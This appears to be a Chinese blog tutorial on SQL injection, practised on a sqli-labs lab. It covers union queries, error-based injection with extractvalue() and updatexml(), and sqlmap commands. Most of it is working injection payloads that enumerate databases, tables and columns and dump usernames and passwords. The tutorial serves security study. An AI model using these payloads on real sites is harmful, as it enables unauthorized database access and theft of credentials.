SQL注入之联合查询、报错注入和sqlmap


SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入的方法

方法一:联合查询

?id=1' order by 3 --+   //查询列数

?id=-1' union select 1,2,3 --+   //查看输出列

?id=-1' union select 1,(select user()),3 --+   //查询用户名

?id=-1' union select 1,(select database()),3 --+   //查询数据库名

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema="数据库名" limit 0,1),3--+     //单独爆出表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),3--+    //爆出全部表名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名"),3--+    //查询列名,需要限定表名和库名

?id=-1' union select 1,(select concat(username,0x3a,password)from 表名 limit 0,1),3 --+   //查询username和password   (limit函数)

?id=-1' union select 1,(select group_concat(username,0x3a,password)from 表名),3 --+          //一次性全部查询   (group_concat函数)

超过多行时,可以连接(省略limit函数):group_concat()

concat()函数

  1. 含义:

    将多个字符串连接成一个字符串。

  2. 语法:

    concat(str1, str2,…) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

  3. 演示:

    select concat (id, name) as info from t1;

    mysql> select * from t1;
    ±------±------+
    | id | name |
    ±------±------+
    | 10001 | 沙 |
    | 10001 | 石 |
    | 10001 | 煤 |
    | 10002 | 水 |
    | 10002 | 盐 |
    | 10002 | 盐 |
    | 10002 | 盐2 |
    ±------±------+

方法二:报错注入

extractvalue() 函数

extractvalue() 函数

对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 < div>< p>< a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用
/xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

https://blog.csdn.net/zpy1998zpy/article/details/80631036 菜鸟教程

?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+    //爆出用户名

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+    //爆出数据库名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),0x7e)) --+   //一次性爆出所有表名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="表名"),0x7e)) --+    //爆出所有列名

?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password)from 表名 limit 7,1),0x7e)) --+         //爆出id、username和password

updatexml()函数

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法:updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+  // 爆出用户名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="数据库名"),0x7e),1) --+   //爆出所有表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema="数据库名" and table_name="表名"),0x7e),1) --+   //爆出users表中所有列名

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from 表名 limit 0,1),0x7e),1) --+   //爆出数据

方法三:Sqlmap

sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" --dbs   //查询数据库名

sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -D security --tables     //查询表名

sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users --column  //查询列名

sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users -C "username,password" --dump    //查询数据

Guess you like

Origin blog.csdn.net/Loners_fan/article/details/122286633